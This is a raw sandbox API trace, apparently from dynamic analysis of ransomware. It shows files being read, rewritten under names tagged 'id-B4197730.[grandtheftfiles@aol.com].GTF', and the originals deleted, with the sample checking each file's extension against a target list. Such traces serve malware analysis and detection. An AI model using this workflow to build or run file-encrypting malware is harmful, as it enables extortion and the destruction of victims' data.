	[0060.530] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.530] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.530] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.531] GetLastError () returned 0x0
	[0060.531] ReadFile (in: hFile=0x2c0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x9c, lpOverlapped=0x0) returned 1
	[0060.545] WriteFile (in: hFile=0x2c8, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xa0, lpOverlapped=0x0) returned 1
	[0060.546] ReadFile (in: hFile=0x2c0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.546] WriteFile (in: hFile=0x2c8, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x100, lpOverlapped=0x0) returned 1
	[0060.546] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.546] CloseHandle (hObject=0x2c8) returned 1
	[0060.547] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.547] SetEndOfFile (hFile=0x2c0) returned 1
	[0060.548] CloseHandle (hObject=0x2c0) returned 1
	[0060.548] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0060.549] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1
	[0060.549] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.549] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.549] lstrlenW (lpString=".doc") returned 4
	[0060.549] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.549] lstrlenW (lpString=".docx") returned 5
	[0060.549] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0060.549] lstrlenW (lpString=".pdf") returned 4
	[0060.549] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.549] lstrlenW (lpString=".xls") returned 4
	[0060.549] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.549] lstrlenW (lpString=".xlsx") returned 5
	[0060.549] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0060.549] lstrlenW (lpString=".ppt") returned 4
	[0060.549] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.549] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.549] lstrlenW (lpString=".zip") returned 4
	[0060.549] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.549] lstrlenW (lpString=".rar") returned 4
	[0060.549] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.549] lstrlenW (lpString=".bz2") returned 4
	[0060.549] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.549] lstrlenW (lpString=".7z") returned 3
	[0060.549] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.549] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.550] lstrlenW (lpString=".dbf") returned 4
	[0060.550] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.550] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.550] lstrlenW (lpString=".1cd") returned 4
	[0060.550] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.550] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.550] lstrlenW (lpString=".jpg") returned 4
	[0060.550] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.550] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.550] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.550] lstrlenW (lpString=".doc") returned 4
	[0060.550] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.550] lstrlenW (lpString=".docx") returned 5
	[0060.550] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0060.550] lstrlenW (lpString=".pdf") returned 4
	[0060.550] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.550] lstrlenW (lpString=".xls") returned 4
	[0060.550] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.550] lstrlenW (lpString=".xlsx") returned 5
	[0060.550] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0060.550] lstrlenW (lpString=".ppt") returned 4
	[0060.550] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.550] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.550] lstrlenW (lpString=".zip") returned 4
	[0060.550] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.550] lstrlenW (lpString=".rar") returned 4
	[0060.550] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.550] lstrlenW (lpString=".bz2") returned 4
	[0060.550] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.550] lstrlenW (lpString=".7z") returned 3
	[0060.550] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.550] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.550] lstrlenW (lpString=".dbf") returned 4
	[0060.550] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.550] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.551] lstrlenW (lpString=".1cd") returned 4
	[0060.551] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.551] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0060.551] lstrlenW (lpString=".jpg") returned 4
	[0060.551] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.551] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0060.551] lstrlenW (lpString="desktop.ini") returned 11
	[0060.551] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0060.551] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=129) returned 1
	[0060.551] CloseHandle (hObject=0x2c0) returned 1
	[0060.551] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0060.551] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0060.551] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0060.551] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.552] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.552] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.552] GetLastError () returned 0x0
	[0060.552] ReadFile (in: hFile=0x2c0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x81, lpOverlapped=0x0) returned 1
	[0060.552] WriteFile (in: hFile=0x2c8, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x90, lpOverlapped=0x0) returned 1
	[0060.553] ReadFile (in: hFile=0x2c0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.553] WriteFile (in: hFile=0x2c8, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1
	[0060.553] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.553] CloseHandle (hObject=0x2c8) returned 1
	[0060.554] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.554] SetEndOfFile (hFile=0x2c0) returned 1
	[0060.555] CloseHandle (hObject=0x2c0) returned 1
	[0060.555] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x26) returned 1
	[0060.556] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1
	[0060.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.556] lstrlenW (lpString=".doc") returned 4
	[0060.556] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.556] lstrlenW (lpString=".docx") returned 5
	[0060.556] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.556] lstrlenW (lpString=".pdf") returned 4
	[0060.556] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.556] lstrlenW (lpString=".xls") returned 4
	[0060.556] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.556] lstrlenW (lpString=".xlsx") returned 5
	[0060.556] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.556] lstrlenW (lpString=".ppt") returned 4
	[0060.556] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.556] lstrlenW (lpString=".zip") returned 4
	[0060.556] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.556] lstrlenW (lpString=".rar") returned 4
	[0060.556] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.556] lstrlenW (lpString=".bz2") returned 4
	[0060.556] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.557] lstrlenW (lpString=".7z") returned 3
	[0060.557] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.557] lstrlenW (lpString=".dbf") returned 4
	[0060.557] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.557] lstrlenW (lpString=".1cd") returned 4
	[0060.557] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.557] lstrlenW (lpString=".jpg") returned 4
	[0060.557] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.557] lstrlenW (lpString=".doc") returned 4
	[0060.557] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.557] lstrlenW (lpString=".docx") returned 5
	[0060.557] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.557] lstrlenW (lpString=".pdf") returned 4
	[0060.557] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString=".xls") returned 4
	[0060.557] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString=".xlsx") returned 5
	[0060.557] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.557] lstrlenW (lpString=".ppt") returned 4
	[0060.557] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.557] lstrlenW (lpString=".zip") returned 4
	[0060.557] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString=".rar") returned 4
	[0060.557] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString=".bz2") returned 4
	[0060.557] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.557] lstrlenW (lpString=".7z") returned 3
	[0060.557] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.558] lstrlenW (lpString=".dbf") returned 4
	[0060.558] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.558] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.558] lstrlenW (lpString=".1cd") returned 4
	[0060.558] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.558] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.558] lstrlenW (lpString=".jpg") returned 4
	[0060.558] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.558] Sleep (dwMilliseconds=0x64) 
	[0060.716] Sleep (dwMilliseconds=0x64) 
	[0061.898] Sleep (dwMilliseconds=0x64) 
	[0062.337] Sleep (dwMilliseconds=0x64) 
	[0062.465] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0062.465] lstrlenW (lpString="eula.rtf") returned 8
	[0062.465] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.558] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3314) returned 1
	[0062.558] CloseHandle (hObject=0x2f0) returned 1
	[0062.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80
	[0062.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0062.559] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.559] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0062.627] GetLastError () returned 0x0
	[0062.627] ReadFile (in: hFile=0x2f0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xcf2, lpOverlapped=0x0) returned 1
	[0064.394] WriteFile (in: hFile=0x2f4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xd00, lpOverlapped=0x0) returned 1
	[0064.395] ReadFile (in: hFile=0x2f0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.395] WriteFile (in: hFile=0x2f4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0064.395] SetEndOfFile (hFile=0x2f4) returned 1
	[0064.395] CloseHandle (hObject=0x2f4) returned 1
	[0064.396] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.396] SetEndOfFile (hFile=0x2f0) returned 1
	[0064.397] CloseHandle (hObject=0x2f0) returned 1
	[0064.397] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0064.397] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1
	[0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.397] lstrlenW (lpString=".doc") returned 4
	[0064.397] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0064.397] lstrlenW (lpString=".docx") returned 5
	[0064.397] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0064.397] lstrlenW (lpString=".pdf") returned 4
	[0064.397] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0064.397] lstrlenW (lpString=".xls") returned 4
	[0064.397] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0064.397] lstrlenW (lpString=".xlsx") returned 5
	[0064.397] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0064.397] lstrlenW (lpString=".ppt") returned 4
	[0064.398] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.398] lstrlenW (lpString=".zip") returned 4
	[0064.398] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0064.398] lstrlenW (lpString=".rar") returned 4
	[0064.398] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString=".bz2") returned 4
	[0064.398] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString=".7z") returned 3
	[0064.398] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.398] lstrlenW (lpString=".dbf") returned 4
	[0064.398] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.398] lstrlenW (lpString=".1cd") returned 4
	[0064.398] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.398] lstrlenW (lpString=".jpg") returned 4
	[0064.398] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.398] lstrlenW (lpString=".doc") returned 4
	[0064.398] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString=".docx") returned 5
	[0064.398] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0064.398] lstrlenW (lpString=".pdf") returned 4
	[0064.398] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString=".xls") returned 4
	[0064.398] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0064.398] lstrlenW (lpString=".xlsx") returned 5
	[0064.398] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0064.398] lstrlenW (lpString=".ppt") returned 4
	[0064.398] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0064.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.399] lstrlenW (lpString=".zip") returned 4
	[0064.399] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0064.399] lstrlenW (lpString=".rar") returned 4
	[0064.399] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0064.399] lstrlenW (lpString=".bz2") returned 4
	[0064.399] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0064.399] lstrlenW (lpString=".7z") returned 3
	[0064.399] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0064.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.399] lstrlenW (lpString=".dbf") returned 4
	[0064.399] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0064.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.399] lstrlenW (lpString=".1cd") returned 4
	[0064.399] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0064.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0064.399] lstrlenW (lpString=".jpg") returned 4
	[0064.399] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0064.399] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0064.399] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0064.399] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0064.414] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=86284) returned 1
	[0064.414] CloseHandle (hObject=0x2b8) returned 1
	[0064.414] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80
	[0064.414] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.415] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0064.415] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.415] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.415] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.336] GetLastError () returned 0x0
